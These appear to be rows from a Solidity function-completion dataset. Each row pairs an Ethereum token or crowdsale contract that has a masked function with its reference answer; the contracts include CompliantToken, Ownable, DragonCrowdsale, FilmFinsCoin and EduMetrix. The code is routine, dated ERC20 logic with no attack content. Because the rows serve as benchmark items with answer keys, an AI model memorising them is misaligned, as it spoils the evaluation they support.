*/ function transfer(address _to, uint256 _value) public checkIsInvestorApproved(msg.sender) checkIsInvestorApproved(_to) checkIsValueValid(_value) returns (bool) { uint256 pendingAmount = pendingApprovalAmount[msg.sender][address(0)]; uint256 fee = 0; if (msg.sender == feeRecipient) { require(_value.add(pendingAmount) <= balances[msg.sender]); pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value); } else { fee = transferFee; require(_value.add(pendingAmount).add(transferFee) <= balances[msg.sender]); pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value).add(transferFee); } pendingTransactions[currentNonce] = TransactionStruct( msg.sender, _to, _value, fee, address(0) ); emit RecordedPendingTransaction(msg.sender, _to, _value, fee, address(0), currentNonce); currentNonce++; return true; } /** @dev transferFrom request * @param _from address from which the tokens have to be transferred * @param _to address to which the tokens have to be transferred * @param _value amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public checkIsInvestorApproved(_from) checkIsInvestorApproved(_to) checkIsValueValid(_value) returns (bool) {<FILL_FUNCTION_BODY> } /** @dev approve transfer/transferFrom request * @param nonce request recorded at this particular nonce */ function approveTransfer(uint256 nonce) external onlyValidator { require(_approveTransfer(nonce)); } /** @dev reject transfer/transferFrom request * @param nonce request recorded at this particular nonce * @param reason reason for rejection */ function rejectTransfer(uint256 nonce, uint256 reason) external onlyValidator { _rejectTransfer(nonce, reason); } /** @dev approve transfer/transferFrom requests * @param nonces request recorded at these nonces */ function bulkApproveTransfers(uint256[] nonces) external onlyValidator { for (uint i = 0; i < nonces.length; i++) { require(_approveTransfer(nonces[i])); } } /** @dev reject transfer/transferFrom request * @param nonces requests recorded at these nonces * @param reasons reasons for rejection */ function bulkRejectTransfers(uint256[] nonces, uint256[] reasons) external onlyValidator { require(nonces.length == reasons.length); for (uint i = 0; i < nonces.length; i++) { _rejectTransfer(nonces[i], reasons[i]); } } /** @dev approve transfer/transferFrom request called internally in the rejectTransfer and bulkRejectTransfers functions * @param nonce request recorded at this particular nonce */ function _approveTransfer(uint256 nonce) private checkIsInvestorApproved(pendingTransactions[nonce].from) checkIsInvestorApproved(pendingTransactions[nonce].to) returns (bool) { address from = pendingTransactions[nonce].from; address to = pendingTransactions[nonce].to; address spender = pendingTransactions[nonce].spender; uint256 value = pendingTransactions[nonce].value; uint256 fee = pendingTransactions[nonce].fee; delete pendingTransactions[nonce]; if (fee == 0) { balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); if (spender != address(0)) { allowed[from][spender] = allowed[from][spender].sub(value); } pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender].sub(value); emit Transfer( from, to, value ); } else { balances[from] = balances[from].sub(value.add(fee)); balances[to] = balances[to].add(value); balances[feeRecipient] = balances[feeRecipient].add(fee); if (spender != address(0)) { allowed[from][spender] = allowed[from][spender].sub(value).sub(fee); } pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender].sub(value).sub(fee); emit TransferWithFee( from, to, value, fee ); } return true; } /** @dev reject transfer/transferFrom request called internally in the rejectTransfer and bulkRejectTransfers functions * @param nonce request recorded at this particular nonce * @param reason reason for rejection */ function _rejectTransfer(uint256 nonce, uint256 reason) private checkIsAddressValid(pendingTransactions[nonce].from) { address from = pendingTransactions[nonce].from; address spender = pendingTransactions[nonce].spender; uint256 value = pendingTransactions[nonce].value; if (pendingTransactions[nonce].fee == 0) { pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender] .sub(value); } else { pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender] .sub(value).sub(pendingTransactions[nonce].fee); } emit TransferRejected( from, pendingTransactions[nonce].to, value, nonce, reason ); delete pendingTransactions[nonce]; } }
contract CompliantToken is Validator, DetailedERC20, MintableToken { Whitelist public whiteListingContract; struct TransactionStruct { address from; address to; uint256 value; uint256 fee; address spender; } mapping (uint => TransactionStruct) public pendingTransactions; mapping (address => mapping (address => uint256)) public pendingApprovalAmount; uint256 public currentNonce = 0; uint256 public transferFee; address public feeRecipient; modifier checkIsInvestorApproved(address _account) { require(whiteListingContract.isInvestorApproved(_account)); _; } modifier checkIsAddressValid(address _account) { require(_account != address(0)); _; } modifier checkIsValueValid(uint256 _value) { require(_value > 0); _; } /** * event for rejected transfer logging * @param from address from which tokens have to be transferred * @param to address to tokens have to be transferred * @param value number of tokens * @param nonce request recorded at this particular nonce * @param reason reason for rejection */ event TransferRejected( address indexed from, address indexed to, uint256 value, uint256 indexed nonce, uint256 reason ); /** * event for transfer tokens logging * @param from address from which tokens have to be transferred * @param to address to tokens have to be transferred * @param value number of tokens * @param fee fee in tokens */ event TransferWithFee( address indexed from, address indexed to, uint256 value, uint256 fee ); /** * event for transfer/transferFrom request logging * @param from address from which tokens have to be transferred * @param to address to tokens have to be transferred * @param value number of tokens * @param fee fee in tokens * @param spender The address which will spend the tokens * @param nonce request recorded at this particular nonce */ event RecordedPendingTransaction( address indexed from, address indexed to, uint256 value, uint256 fee, address indexed spender, uint256 nonce ); /** * event for whitelist contract update logging * @param _whiteListingContract address of the new whitelist contract */ event WhiteListingContractSet(address indexed _whiteListingContract); /** * event for fee update logging * @param previousFee previous fee * @param newFee new fee */ event FeeSet(uint256 indexed previousFee, uint256 indexed newFee); /** * event for fee recipient update logging * @param previousRecipient address of the old fee recipient * @param newRecipient address of the new fee recipient */ event FeeRecipientSet(address indexed previousRecipient, address indexed newRecipient); /** @dev Constructor * @param _owner Token contract owner * @param _name Token name * @param _symbol Token symbol * @param _decimals number of decimals in the token(usually 18) * @param whitelistAddress Ethereum address of the whitelist contract * @param recipient Ethereum address of the fee recipient * @param fee token fee for approving a transfer */ constructor( address _owner, string _name, string _symbol, uint8 _decimals, address whitelistAddress, address recipient, uint256 fee ) public MintableToken(_owner) DetailedERC20(_name, _symbol, _decimals) Validator() { setWhitelistContract(whitelistAddress); setFeeRecipient(recipient); setFee(fee); } /** @dev Updates whitelist contract address * @param whitelistAddress New whitelist contract address */ function setWhitelistContract(address whitelistAddress) public onlyValidator checkIsAddressValid(whitelistAddress) { whiteListingContract = Whitelist(whitelistAddress); emit WhiteListingContractSet(whiteListingContract); } /** @dev Updates token fee for approving a transfer * @param fee New token fee */ function setFee(uint256 fee) public onlyValidator { emit FeeSet(transferFee, fee); transferFee = fee; } /** @dev Updates fee recipient address * @param recipient New whitelist contract address */ function setFeeRecipient(address recipient) public onlyValidator checkIsAddressValid(recipient) { emit FeeRecipientSet(feeRecipient, recipient); feeRecipient = recipient; } /** @dev Updates token name * @param _name New token name */ function updateName(string _name) public onlyOwner { require(bytes(_name).length != 0); name = _name; } /** @dev Updates token symbol * @param _symbol New token name */ function updateSymbol(string _symbol) public onlyOwner { require(bytes(_symbol).length != 0); symbol = _symbol; } /** @dev transfer request * @param _to address to which the tokens have to be transferred * @param _value amount of tokens to be transferred */ function transfer(address _to, uint256 _value) public checkIsInvestorApproved(msg.sender) checkIsInvestorApproved(_to) checkIsValueValid(_value) returns (bool) { uint256 pendingAmount = pendingApprovalAmount[msg.sender][address(0)]; uint256 fee = 0; if (msg.sender == feeRecipient) { require(_value.add(pendingAmount) <= balances[msg.sender]); pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value); } else { fee = transferFee; require(_value.add(pendingAmount).add(transferFee) <= balances[msg.sender]); pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value).add(transferFee); } pendingTransactions[currentNonce] = TransactionStruct( msg.sender, _to, _value, fee, address(0) ); emit RecordedPendingTransaction(msg.sender, _to, _value, fee, address(0), currentNonce); currentNonce++; return true; } <FILL_FUNCTION> /** @dev approve transfer/transferFrom request * @param nonce request recorded at this particular nonce */ function approveTransfer(uint256 nonce) external onlyValidator { require(_approveTransfer(nonce)); } /** @dev reject transfer/transferFrom request * @param nonce request recorded at this particular nonce * @param reason reason for rejection */ function rejectTransfer(uint256 nonce, uint256 reason) external onlyValidator { _rejectTransfer(nonce, reason); } /** @dev approve transfer/transferFrom requests * @param nonces request recorded at these nonces */ function bulkApproveTransfers(uint256[] nonces) external onlyValidator { for (uint i = 0; i < nonces.length; i++) { require(_approveTransfer(nonces[i])); } } /** @dev reject transfer/transferFrom request * @param nonces requests recorded at these nonces * @param reasons reasons for rejection */ function bulkRejectTransfers(uint256[] nonces, uint256[] reasons) external onlyValidator { require(nonces.length == reasons.length); for (uint i = 0; i < nonces.length; i++) { _rejectTransfer(nonces[i], reasons[i]); } } /** @dev approve transfer/transferFrom request called internally in the rejectTransfer and bulkRejectTransfers functions * @param nonce request recorded at this particular nonce */ function _approveTransfer(uint256 nonce) private checkIsInvestorApproved(pendingTransactions[nonce].from) checkIsInvestorApproved(pendingTransactions[nonce].to) returns (bool) { address from = pendingTransactions[nonce].from; address to = pendingTransactions[nonce].to; address spender = pendingTransactions[nonce].spender; uint256 value = pendingTransactions[nonce].value; uint256 fee = pendingTransactions[nonce].fee; delete pendingTransactions[nonce]; if (fee == 0) { balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); if (spender != address(0)) { allowed[from][spender] = allowed[from][spender].sub(value); } pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender].sub(value); emit Transfer( from, to, value ); } else { balances[from] = balances[from].sub(value.add(fee)); balances[to] = balances[to].add(value); balances[feeRecipient] = balances[feeRecipient].add(fee); if (spender != address(0)) { allowed[from][spender] = allowed[from][spender].sub(value).sub(fee); } pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender].sub(value).sub(fee); emit TransferWithFee( from, to, value, fee ); } return true; } /** @dev reject transfer/transferFrom request called internally in the rejectTransfer and bulkRejectTransfers functions * @param nonce request recorded at this particular nonce * @param reason reason for rejection */ function _rejectTransfer(uint256 nonce, uint256 reason) private checkIsAddressValid(pendingTransactions[nonce].from) { address from = pendingTransactions[nonce].from; address spender = pendingTransactions[nonce].spender; uint256 value = pendingTransactions[nonce].value; if (pendingTransactions[nonce].fee == 0) { pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender] .sub(value); } else { pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender] .sub(value).sub(pendingTransactions[nonce].fee); } emit TransferRejected( from, pendingTransactions[nonce].to, value, nonce, reason ); delete pendingTransactions[nonce]; } }
uint256 allowedTransferAmount = allowed[_from][msg.sender]; uint256 pendingAmount = pendingApprovalAmount[_from][msg.sender]; uint256 fee = 0; if (_from == feeRecipient) { require(_value.add(pendingAmount) <= balances[_from]); require(_value.add(pendingAmount) <= allowedTransferAmount); pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value); } else { fee = transferFee; require(_value.add(pendingAmount).add(transferFee) <= balances[_from]); require(_value.add(pendingAmount).add(transferFee) <= allowedTransferAmount); pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value).add(transferFee); } pendingTransactions[currentNonce] = TransactionStruct( _from, _to, _value, fee, msg.sender ); emit RecordedPendingTransaction(_from, _to, _value, fee, msg.sender, currentNonce); currentNonce++; return true;
function transferFrom(address _from, address _to, uint256 _value) public checkIsInvestorApproved(_from) checkIsInvestorApproved(_to) checkIsValueValid(_value) returns (bool)
/** @dev transferFrom request * @param _from address from which the tokens have to be transferred * @param _to address to which the tokens have to be transferred * @param _value amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public checkIsInvestorApproved(_from) checkIsInvestorApproved(_to) checkIsValueValid(_value) returns (bool)
154
Ownable
acceptOwnership
contract Ownable { address public owner; address public new_owner; event OwnershipTransfer(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { owner = msg.sender; } function _transferOwnership(address _to) internal { require(_to != address(0)); new_owner = _to; emit OwnershipTransfer(owner, _to); } function acceptOwnership() public {<FILL_FUNCTION_BODY> } function transferOwnership(address _to) public onlyOwner { _transferOwnership(_to); } }
contract Ownable { address public owner; address public new_owner; event OwnershipTransfer(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { owner = msg.sender; } function _transferOwnership(address _to) internal { require(_to != address(0)); new_owner = _to; emit OwnershipTransfer(owner, _to); } <FILL_FUNCTION> function transferOwnership(address _to) public onlyOwner { _transferOwnership(_to); } }
require(new_owner != address(0) && msg.sender == new_owner); emit OwnershipTransferred(owner, new_owner); owner = new_owner; new_owner = address(0);
function acceptOwnership() public
function acceptOwnership() public
3,516
converter
convert
contract converter{ function convert(address src_) public pure returns (bytes32){<FILL_FUNCTION_BODY> } }
contract converter{ <FILL_FUNCTION> }
return bytes32(bytes20(src_));
function convert(address src_) public pure returns (bytes32)
function convert(address src_) public pure returns (bytes32)
65,661
DRPTokenChanger
onTokensReceived
contract DRPTokenChanger is TokenChanger, TokenObserver, TransferableOwnership, TokenRetriever { /** * Construct drps - drpu token changer * * @param _drps Ref to the DRPS token smart-contract https://www.dcorp.it/drps * @param _drpu Ref to the DRPU token smart-contract https://www.dcorp.it/drpu */ function DRPTokenChanger(address _drps, address _drpu) TokenChanger(_drps, _drpu, 20000, 100, 4, false, true) {} /** * Pause the token changer making the contract * revert the transaction instead of converting */ function pause() public only_owner { super.pause(); } /** * Resume the token changer making the contract * convert tokens instead of reverting the transaction */ function resume() public only_owner { super.resume(); } /** * Event handler that initializes the token conversion * * Called by `_token` when a token amount is received on * the address of this token changer * * @param _token The token contract that received the transaction * @param _from The account or contract that send the transaction * @param _value The value of tokens that where received */ function onTokensReceived(address _token, address _from, uint _value) internal is_token(_token) {<FILL_FUNCTION_BODY> } /** * Failsafe mechanism * * Allows the owner to retrieve tokens from the contract that * might have been send there by accident * * @param _tokenContract The address of ERC20 compatible token */ function retrieveTokens(address _tokenContract) public only_owner { super.retrieveTokens(_tokenContract); } /** * Prevents the accidental sending of ether */ function () payable { revert(); } }
contract DRPTokenChanger is TokenChanger, TokenObserver, TransferableOwnership, TokenRetriever { /** * Construct drps - drpu token changer * * @param _drps Ref to the DRPS token smart-contract https://www.dcorp.it/drps * @param _drpu Ref to the DRPU token smart-contract https://www.dcorp.it/drpu */ function DRPTokenChanger(address _drps, address _drpu) TokenChanger(_drps, _drpu, 20000, 100, 4, false, true) {} /** * Pause the token changer making the contract * revert the transaction instead of converting */ function pause() public only_owner { super.pause(); } /** * Resume the token changer making the contract * convert tokens instead of reverting the transaction */ function resume() public only_owner { super.resume(); } <FILL_FUNCTION> /** * Failsafe mechanism * * Allows the owner to retrieve tokens from the contract that * might have been send there by accident * * @param _tokenContract The address of ERC20 compatible token */ function retrieveTokens(address _tokenContract) public only_owner { super.retrieveTokens(_tokenContract); } /** * Prevents the accidental sending of ether */ function () payable { revert(); } }
require(_token == msg.sender); // Convert tokens convert(_token, _from, _value);
function onTokensReceived(address _token, address _from, uint _value) internal is_token(_token)
/** * Event handler that initializes the token conversion * * Called by `_token` when a token amount is received on * the address of this token changer * * @param _token The token contract that received the transaction * @param _from The account or contract that send the transaction * @param _value The value of tokens that where received */ function onTokensReceived(address _token, address _from, uint _value) internal is_token(_token)
72,881
DragonCrowdsale
setCore
contract DragonCrowdsale { address public owner; Dragon tokenReward; bool public crowdSaleStarted; bool public crowdSaleClosed; bool public crowdSalePause; uint public deadline; address public CoreAddress; DragonCrowdsaleCore core; modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function DragonCrowdsale(){ crowdSaleStarted = false; crowdSaleClosed = false; crowdSalePause = false; owner = msg.sender; tokenReward = Dragon( 0x814f67fa286f7572b041d041b1d99b432c9155ee ); } // fallback function to receive all incoming ether funds and then forwarded to the DragonCrowdsaleCore contract function () payable { require ( crowdSaleClosed == false && crowdSalePause == false ); if ( crowdSaleStarted ) { require ( now < deadline ); core.crowdsale.value( msg.value )( msg.sender); // forward all ether to core contract } else { core.precrowdsale.value( msg.value )( msg.sender); } // forward all ether to core contract } // Start this to initiate crowdsale - will run for 60 days function startCrowdsale() onlyOwner { crowdSaleStarted = true; deadline = now + 60 days; } //terminates the crowdsale function endCrowdsale() onlyOwner { crowdSaleClosed = true; } //pauses the crowdsale function pauseCrowdsale() onlyOwner { crowdSalePause = true; } //unpauses the crowdsale function unpauseCrowdsale() onlyOwner { crowdSalePause = false; } // set the dragon crowdsalecore contract function setCore( address _core ) onlyOwner {<FILL_FUNCTION_BODY> } function transferOwnership( address _address ) onlyOwner { owner = _address ; } //emergency withdrawal of Dragons incase sent to this address function withdrawCrowdsaleDragons() onlyOwner{ uint256 balance = tokenReward.balanceOf( address( this ) ); tokenReward.transfer( msg.sender , balance ); } }
contract DragonCrowdsale { address public owner; Dragon tokenReward; bool public crowdSaleStarted; bool public crowdSaleClosed; bool public crowdSalePause; uint public deadline; address public CoreAddress; DragonCrowdsaleCore core; modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function DragonCrowdsale(){ crowdSaleStarted = false; crowdSaleClosed = false; crowdSalePause = false; owner = msg.sender; tokenReward = Dragon( 0x814f67fa286f7572b041d041b1d99b432c9155ee ); } // fallback function to receive all incoming ether funds and then forwarded to the DragonCrowdsaleCore contract function () payable { require ( crowdSaleClosed == false && crowdSalePause == false ); if ( crowdSaleStarted ) { require ( now < deadline ); core.crowdsale.value( msg.value )( msg.sender); // forward all ether to core contract } else { core.precrowdsale.value( msg.value )( msg.sender); } // forward all ether to core contract } // Start this to initiate crowdsale - will run for 60 days function startCrowdsale() onlyOwner { crowdSaleStarted = true; deadline = now + 60 days; } //terminates the crowdsale function endCrowdsale() onlyOwner { crowdSaleClosed = true; } //pauses the crowdsale function pauseCrowdsale() onlyOwner { crowdSalePause = true; } //unpauses the crowdsale function unpauseCrowdsale() onlyOwner { crowdSalePause = false; } <FILL_FUNCTION> function transferOwnership( address _address ) onlyOwner { owner = _address ; } //emergency withdrawal of Dragons incase sent to this address function withdrawCrowdsaleDragons() onlyOwner{ uint256 balance = tokenReward.balanceOf( address( this ) ); tokenReward.transfer( msg.sender , balance ); } }
CoreAddress = _core; core = DragonCrowdsaleCore( _core );
function setCore( address _core ) onlyOwner
// set the dragon crowdsalecore contract function setCore( address _core ) onlyOwner
32,360
FilmFinsCoin
null
contract FilmFinsCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract FilmFinsCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "FFC"; name = "FilmFinsCoin"; decimals = 8; _totalSupply = 132300000000000000; //after 100000000 fill 18 zero 18 is digits balances[0xfeb53a79008aff53C8AE7b80e001446C0Fa1b5b2] = _totalSupply; emit Transfer(address(0), 0xfeb53a79008aff53C8AE7b80e001446C0Fa1b5b2, _totalSupply);
constructor() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public
61,828
EduMetrix
EduMetrix
contract EduMetrix is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function EduMetrix() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract EduMetrix is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "EMC"; name = "EduMetrix"; decimals = 18; _totalSupply = 1000000000000000000000000000; balances[0xd6b72d0e2D99565f67a18e2235a8Ac595cbcE55A] = _totalSupply; Transfer(address(0), 0xd6b72d0e2D99565f67a18e2235a8Ac595cbcE55A, _totalSupply);
